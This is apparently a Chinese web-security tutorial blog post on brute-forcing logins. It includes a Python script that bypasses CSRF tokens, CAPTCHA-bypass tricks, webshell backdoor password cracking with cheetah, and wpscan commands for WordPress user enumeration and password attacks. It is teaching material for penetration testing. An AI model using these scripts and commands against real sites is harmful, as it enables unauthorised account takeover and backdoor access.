Web安全——穷举爆破上篇(仅供学习)

Web安全

  • 一、概述
  • 二、常见的服务
    • 1、burpsuite 穷举后台密码
    • 2、burpsuite 对 webshell 穷举破解密码
    • 3、有 token 防御的网站后台穷举破解密码
      • 3.1 burpsuite 设置宏获取 token 对网站后台密码破解
      • 3.2 编写脚本获取token 对网站后台密码破解
    • 4、针对有验证码后台的穷举方法
      • 4.1 cookie 不存在不验证绕过
      • 4.2 后台登录验证码没销毁进行穷举
      • 4.3 网站后台验证码识别穷举密码
    • 5、phpmyadmin 密码穷举
    • 6、一句话木马后门破解
    • 7、cheetah 对一句后门密码穷举
    • 8、wordpress 博客系统用户密码穷举

一、概述

穷举就是枚举的意思,在互联网的今天,需要使用某种的服务,大多数都需要口令登录,这个口令就是密码,密码的强度分为,弱口令 、中度口令、强度口令。如果登录的服务为弱口令,那会存在很大的安全隐患,黑客通过穷举弱口令对服务进行攻击,很容易就得到登录密码。得到密码之后就能登录服务,进行其他危害较大得操作。黑客也能通过对用户得信息整理,组合密码进行穷举攻击。例如根据用户的生日号码,出身年月日和姓名进行口令组合,再对其服务进行穷举。

二、常见的服务

服务 端口
web 80
mysql 3306
Microsoft SQL Server 1433
https 443
ftp 21
ssh 22
dns 53
tomcat 8080
redis 6379
rsync 873
PostgreSQL 5432
cobaltstrike teamserver 50050
smtp 25
pop3 110
远程终端 rdp 3389
smb 445
rpc 135
imap 143
NetBIOS 139
SMTPS 465
POP3S 995
mogodb 27018
memcached 11211
telnet 23
oracle 1521

1、burpsuite 穷举后台密码

brupsuite 是一个安全测试套件, 提供了众多的测试功能。在火狐安装插件
FoxyProxy 填写 127.0.0.1 8080 保存为 burp 开启代理。
Web安全——穷举爆破上篇(仅供学习)_第1张图片
Web安全——穷举爆破上篇(仅供学习)_第2张图片
截取包之后发送到 intruder 在密码设置变量
Web安全——穷举爆破上篇(仅供学习)_第3张图片
选择 payloads 选择要穷举的字典
Web安全——穷举爆破上篇(仅供学习)_第4张图片
设置攻击后 根据返回的状态码 status 或者 length 网页长度对其进行判断。这里得到正确得密码是 123456
Web安全——穷举爆破上篇(仅供学习)_第5张图片
Web安全——穷举爆破上篇(仅供学习)_第6张图片
根据状态码 一般测试正确的是现实 302 状态码 另外就是响应网页的长度
Web安全——穷举爆破上篇(仅供学习)_第7张图片

2、burpsuite 对 webshell 穷举破解密码

灰帽子对网站攻破后,一般会留后门方便对其网站进行非法管理。后门的程序语音包括 asp php .net 这些脚本文件放在网站目录, 一般都采用单密码进行登录。通过扫描获取 webshell 的后门的网址。得到网址后可以对其进行密码穷举。

  • 1、burpsuite 截取数据包
    Web安全——穷举爆破上篇(仅供学习)_第8张图片
  • 2、发送到 intruder 模块
    Web安全——穷举爆破上篇(仅供学习)_第9张图片
  • 3、选择字典
    Web安全——穷举爆破上篇(仅供学习)_第10张图片
    最后得到密码是!@#sec

3、有 token 防御的网站后台穷举破解密码

有的网站后台存在 token 值,这个 token 通俗的名字叫令牌,每次刷新页面都会随机变化。提交请求时必须携带这个 token 值,可以利用这点避免后台进行直接穷举和防止 csrf 攻击。
Web安全——穷举爆破上篇(仅供学习)_第11张图片
Web安全——穷举爆破上篇(仅供学习)_第12张图片

3.1 burpsuite 设置宏获取 token 对网站后台密码破解

打开 burpsuite 刷新页面 接着 forward 放行这个数据包
Web安全——穷举爆破上篇(仅供学习)_第13张图片
Web安全——穷举爆破上篇(仅供学习)_第14张图片
Web安全——穷举爆破上篇(仅供学习)_第15张图片
Web安全——穷举爆破上篇(仅供学习)_第16张图片
Web安全——穷举爆破上篇(仅供学习)_第17张图片
Web安全——穷举爆破上篇(仅供学习)_第18张图片
Web安全——穷举爆破上篇(仅供学习)_第19张图片
Web安全——穷举爆破上篇(仅供学习)_第20张图片
来到 Project options --> Session-- >add 添加宏
Web安全——穷举爆破上篇(仅供学习)_第21张图片

Web安全——穷举爆破上篇(仅供学习)_第22张图片
选择 Run a macro
Web安全——穷举爆破上篇(仅供学习)_第23张图片

点击之后选择网页历史选择提交之后有 token 的页面。
添加宏
Web安全——穷举爆破上篇(仅供学习)_第24张图片

设置 configure item
Web安全——穷举爆破上篇(仅供学习)_第25张图片

Web安全——穷举爆破上篇(仅供学习)_第26张图片

add 添加规则
Web安全——穷举爆破上篇(仅供学习)_第27张图片

选择 value 的值 Parameter name 填写 user_token 这个值一定要相同
Web安全——穷举爆破上篇(仅供学习)_第28张图片
Web安全——穷举爆破上篇(仅供学习)_第29张图片
Web安全——穷举爆破上篇(仅供学习)_第30张图片
Web安全——穷举爆破上篇(仅供学习)_第31张图片
Web安全——穷举爆破上篇(仅供学习)_第32张图片
Web安全——穷举爆破上篇(仅供学习)_第33张图片
Web安全——穷举爆破上篇(仅供学习)_第34张图片
Web安全——穷举爆破上篇(仅供学习)_第35张图片
Web安全——穷举爆破上篇(仅供学习)_第36张图片
Web安全——穷举爆破上篇(仅供学习)_第37张图片
Web安全——穷举爆破上篇(仅供学习)_第38张图片
这样宏就设置成功了。接着穷举测试 抓包 设置变量 添加密码字典。
Web安全——穷举爆破上篇(仅供学习)_第39张图片

开始攻击 可以看到每次的 token 值都不一样
Web安全——穷举爆破上篇(仅供学习)_第40张图片
Web安全——穷举爆破上篇(仅供学习)_第41张图片
密码是 password

3.2 编写脚本获取token 对网站后台密码破解

就上面的登录页面来说。
Web安全——穷举爆破上篇(仅供学习)_第42张图片

每次访问页面这个 user_token 都会变化导致不能重复提交。
验证原理每次页面生成user_token 存在seesion 里面每次登录用session 里取出来然后验证如果验证成功 就进行密码匹配。如果验证不成功就输出 csrf 错误。

脚本源码

#coding:utf-8
import requests
import re

url = "http://www.c3moon.com/login.php"

def login(password):
    session = requests.session()
    req=session.get(url)
    user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
    data={"username":"admin","password":password,"Login":"Login",'user_token':user_token}
    req=session.post(url=url,data=data,allow_redirects=True)
    html = req.text
    return html

with open('top1000.txt') as p:
    passlist =p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'File Upload' in login(line):
        print( "[* 密码 is %s *]" % line )
        break

密码破解成功
Web安全——穷举爆破上篇(仅供学习)_第43张图片

4、针对有验证码后台的穷举方法

网站后台或者有登录的地方都可能存在验证码验证,验证码的作用 不少网站为了防止用户利用机器人自动注册、登录、灌水,都会采用验证码技术,所谓的验证码,就是将一串随机产生的数字和符号,生成一幅图片,在图像上加上干扰像素(防止 orc),要用户用肉眼识别其中的验证码信息,输入表单提交网站验证。验证后使用网站某个功能.但是如果验证码逻辑编写不好会存在被绕过的风险。

4.1 cookie 不存在不验证绕过

有些网站如果网站不存在 cookie 就不会验证 验证码
Web安全——穷举爆破上篇(仅供学习)_第44张图片
这里cookie即与这里相对应:
Web安全——穷举爆破上篇(仅供学习)_第45张图片
Web安全——穷举爆破上篇(仅供学习)_第46张图片
这里即可以看到发下的验证码:GUTF。
Web安全——穷举爆破上篇(仅供学习)_第47张图片
Web安全——穷举爆破上篇(仅供学习)_第48张图片
这里先对比验证码,再对比账号密码,我们这里再次发送:
Web安全——穷举爆破上篇(仅供学习)_第49张图片
这里我们回到虚拟机查看验证码:
Web安全——穷举爆破上篇(仅供学习)_第50张图片
可以看到这里验证码没有,肯定验证不成功。
Web安全——穷举爆破上篇(仅供学习)_第51张图片
这里我们将验证码删掉,可以看到依然是验证码失效的状态。
下面我们进行删除 PHPSESSION 信息 验证码就不进行验证了。
Web安全——穷举爆破上篇(仅供学习)_第52张图片
接着对密码进行穷举
Web安全——穷举爆破上篇(仅供学习)_第53张图片
Web安全——穷举爆破上篇(仅供学习)_第54张图片
破解密码成功,登录后台。
Web安全——穷举爆破上篇(仅供学习)_第55张图片

4.2 后台登录验证码没销毁进行穷举

在登录提交的时候进行验证码验证 不管密码是否正确,都要销毁验证码。不然验证码可复用确定的验证码
Web安全——穷举爆破上篇(仅供学习)_第56张图片
Web安全——穷举爆破上篇(仅供学习)_第57张图片

错误的验证码
导入字典进行提交
Web安全——穷举爆破上篇(仅供学习)_第58张图片

4.3 网站后台验证码识别穷举密码

验证码干扰像素太少很容易就会被一些工具识别出来。如图片提取文字工具。
Web安全——穷举爆破上篇(仅供学习)_第59张图片
登录框存在验证码 这个验证码可被识别的情况下 就会被穷举密码。
Web安全——穷举爆破上篇(仅供学习)_第60张图片
将 burpsuite 的包放进验证码识别工具 设置字典和验证码参数
Web安全——穷举爆破上篇(仅供学习)_第61张图片
接着选择爆破栏 选择错误的验证码关键词 设置线程 点击 start 即可 可以选择再次爆破 验证准确率会提高。
Web安全——穷举爆破上篇(仅供学习)_第62张图片
在这里插入图片描述
最后查看响应长度 获取正确的密码。

5、phpmyadmin 密码穷举

phpmyadmin 是 mysql 的一个 web 管理工具,可以通过这个工具穷举 mysql 用户的账号和密码。
Web安全——穷举爆破上篇(仅供学习)_第63张图片
Web安全——穷举爆破上篇(仅供学习)_第64张图片
Web安全——穷举爆破上篇(仅供学习)_第65张图片
Web安全——穷举爆破上篇(仅供学习)_第66张图片
Web安全——穷举爆破上篇(仅供学习)_第67张图片

6、一句话木马后门破解

一句话后门可以使用 burpsuite 通用穷举方法穷举密码。
Web安全——穷举爆破上篇(仅供学习)_第68张图片
抓包 将 cmd 设置成变量 添加字典即可
Web安全——穷举爆破上篇(仅供学习)_第69张图片
Web安全——穷举爆破上篇(仅供学习)_第70张图片
关键字

asp
qweasd123=execute("response.clear:response.write(""passwordright""):response.end")
php
echo "password right";
aspx qweasd123=Response.Write("moonsec"); 密码是 qweasd123

7、cheetah 对一句后门密码穷举

cheetah 是针对一句话后门的穷举工具

python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p data/pwd.list
python cheetah.py -u http://orz/orz -w aspx -s iis -n 1000 
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
cheetah.py -u http://www.c1moon.com/a.php -n 1000 -v -p data/pwd.list 
cheetah.py -u http://www.c1moon.com/a.asp -n 1000 -v -p data/pwd.list 
cheetah.py -u http://www.c1moon.com/a.aspx -n 1000 -v -p data/pwd.list

Web安全——穷举爆破上篇(仅供学习)_第71张图片

支持 asp php .net jsp 后门
Web安全——穷举爆破上篇(仅供学习)_第72张图片

-u 后门地址
-r 提交的方法 一般是 post
-n 一次提交密码的数量
-v 详细信息
-p 字典位置例子
python cheetah.py -u http://www.c1moon.com/cmd.php -r post -n 1000 -v

Web安全——穷举爆破上篇(仅供学习)_第73张图片

8、wordpress 博客系统用户密码穷举

wordpress 是知名的博客系统,在互联网上的占有量很大,所以一定要知道这套系统的弱口令穷举的方法。
https://wpscan.com 首先到这个网站注册账号和密码注册后获取 token
Web安全——穷举爆破上篇(仅供学习)_第74张图片

自动找账号信息 然后登录穷举

wpscan --url http://www.redteam.com/ -e u -P /home/kali/top100password.txt --api-token QYbHH6fbNDIi6Op3MQuvg85fD4fhNiB4RKJsVOMVp6w

手动收集 wordpress 用户信息 访问连接获取用户信息
http://www.vtmoon1.com/wp-json/wp/v2/users

获取信息可以再进行指定用户爆破
Web安全——穷举爆破上篇(仅供学习)_第75张图片

wpscan --url http://www.vtmoon1.com -U moonsec -P /home/kali/top1000.txt

Web安全——穷举爆破上篇(仅供学习)_第76张图片

你可能感兴趣的:(Web安全,渗透测试,网络安全,网络,前端,服务器,网络协议,运维,安全架构,安全性测试)